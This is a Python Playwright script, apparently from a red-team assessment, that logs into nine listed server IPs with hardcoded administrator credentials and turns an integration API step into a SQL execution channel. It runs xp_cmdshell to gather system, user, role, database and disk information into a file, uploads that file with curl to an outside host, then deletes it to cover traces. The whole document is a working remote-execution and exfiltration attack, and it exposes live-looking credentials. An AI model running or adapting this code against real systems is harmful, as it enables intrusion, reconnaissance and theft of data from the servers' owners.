#!/usr/bin/env python3
"""Run test_sql_exec.py logic on all 9 v5 servers — parameterized."""
import asyncio, json, re, time, sys
from playwright.async_api import async_playwright

SERVERS = [
    ("198.251.74.25", "2210JWPERKINSUAP1"),
    ("198.71.52.102", "RTROGERSMBIL"),
    ("198.71.63.125", "CITYMARTUAPSINGLE"),
    ("198.71.63.125", "HuelsOilUAP1"),
    ("216.250.118.44", "CASSUAP4"),
    ("216.250.118.44", "RTROGERSMBIL"),
    ("66.175.236.165", "RTROGERSUAP1"),
    ("66.175.236.165", "RTROGERSUAP3"),
    ("74.208.83.171", "RTROGERSUAP1"),
]

SQL_STEPS = [
    ("systeminfo", "EXEC xp_cmdshell 'systeminfo > D:\\\\sysinfo.txt', no_output"),
    ("whoami", "EXEC xp_cmdshell 'whoami >> D:\\\\sysinfo.txt', no_output"),
    ("sqlrole", "EXEC xp_cmdshell 'sqlcmd -Q \"SELECT IS_SRVROLEMEMBER(sysadmin) AS sa, @@servername\" -W -h -1 >> D:\\\\sysinfo.txt', no_output"),
    ("databases", "EXEC xp_cmdshell 'sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> D:\\\\sysinfo.txt', no_output"),
    ("disk", "EXEC xp_cmdshell 'wmic logicaldisk get caption,freespace,size >> D:\\\\sysinfo.txt', no_output"),
    ("upload", "EXEC xp_cmdshell 'curl -sS -T D:\\\\sysinfo.txt https://ch12.hostserviceapp.com'"),
    ("cleanup", "EXEC xp_cmdshell 'del D:\\\\sysinfo.txt', no_output"),
]

async def run_on_server(ip, app, browser):
    """Exact same logic as test_sql_exec.py — just parameterized."""
    context = await browser.new_context()
    page = await context.new_page()
    result = {"ip": ip, "app": app, "steps": {}}

    try:
        # Login — exact same as test_sql_exec.py
        await page.goto(f"http://{ip}/{app}/login", wait_until="domcontentloaded", timeout=15000)
        await asyncio.sleep(2)
        await page.fill('input[name="Email"]', 'irelyadmin')
        await page.fill('input[name="Password"]', 'i21By2015')
        await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
        await asyncio.sleep(1)
        await page.evaluate('document.querySelector("form").submit()')
        await asyncio.sleep(12)
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        if "login" in page.url.lower() and "#home" not in page.url:
            result["status"] = "login_failed"
            return result

        # run_sql helper — EXACT same as test_sql_exec.py
        async def run_sql(sql_desc, sql_text):
            step_id = 4  # Use step 4 (was success=true before)
            # PUT — pass SQL as JS argument
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=false', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)

            if put['status'] not in (200, 202):
                return f"put_{put['status']}"

            await asyncio.sleep(2)

            # Execute
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')

            success = re.search(r'"success"\s*:\s*(true|false)', exec_r.get('body', ''))
            s = success.group(1) if success else "?"

            # Restore — EXACT same as test_sql_exec.py
            await page.evaluate('''async () => {
                await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=false', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')

            return s

        # Run all steps — EXACT same as test_sql_exec.py
        for step_name, sql_text in SQL_STEPS:
            s = await run_sql(step_name, sql_text)
            result["steps"][step_name] = s

        all_ok = all(v == "true" for v in result["steps"].values())
        result["status"] = "all_success" if all_ok else "partial"

    except Exception as e:
        result["status"] = f"error: {str(e)[:80]}"
    finally:
        await context.close()

    return result

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)

        print(f"=== Collecting info from {len(SERVERS)} v5 servers ===\n")
        results = []

        for ip, app in SERVERS:
            print(f"  {ip}/{app}...", end="", flush=True)
            r = await run_on_server(ip, app, browser)
            results.append(r)

            steps_ok = sum(1 for v in r.get("steps", {}).values() if v == "true")
            steps_total = len(r.get("steps", {}))
            marker = "✅" if r.get("status") == "all_success" else "⚠️" if steps_ok > 0 else "❌"
            print(f" {marker} {steps_ok}/{steps_total} ({r.get('status', '?')})")
            time.sleep(3)

        await browser.close()

        print(f"\n{'='*80}")
        print("\n=== SUMMARY ===")
        all_ok = sum(1 for r in results if r.get("status") == "all_success")
        print(f"✅ All steps: {all_ok}/{len(results)}")
        for r in results:
            marker = "✅" if r.get("status") == "all_success" else "❌"
            steps = r.get("steps", {})
            print(f"  {marker} {r['ip']:20s} {r['app']:30s} → {r.get('status', '?')}")
            if r.get("status") != "all_success":
                for k, v in steps.items():
                    if v != "true":
                        print(f"      {k}: {v}")

        with open("/root/ir-assessment/redteam/irelydata/schema_inventory/db_collection_results_final.json", "w") as f:
            json.dump(results, f, indent=2)
        print(f"\nSaved to db_collection_results_final.json")

asyncio.run(main())
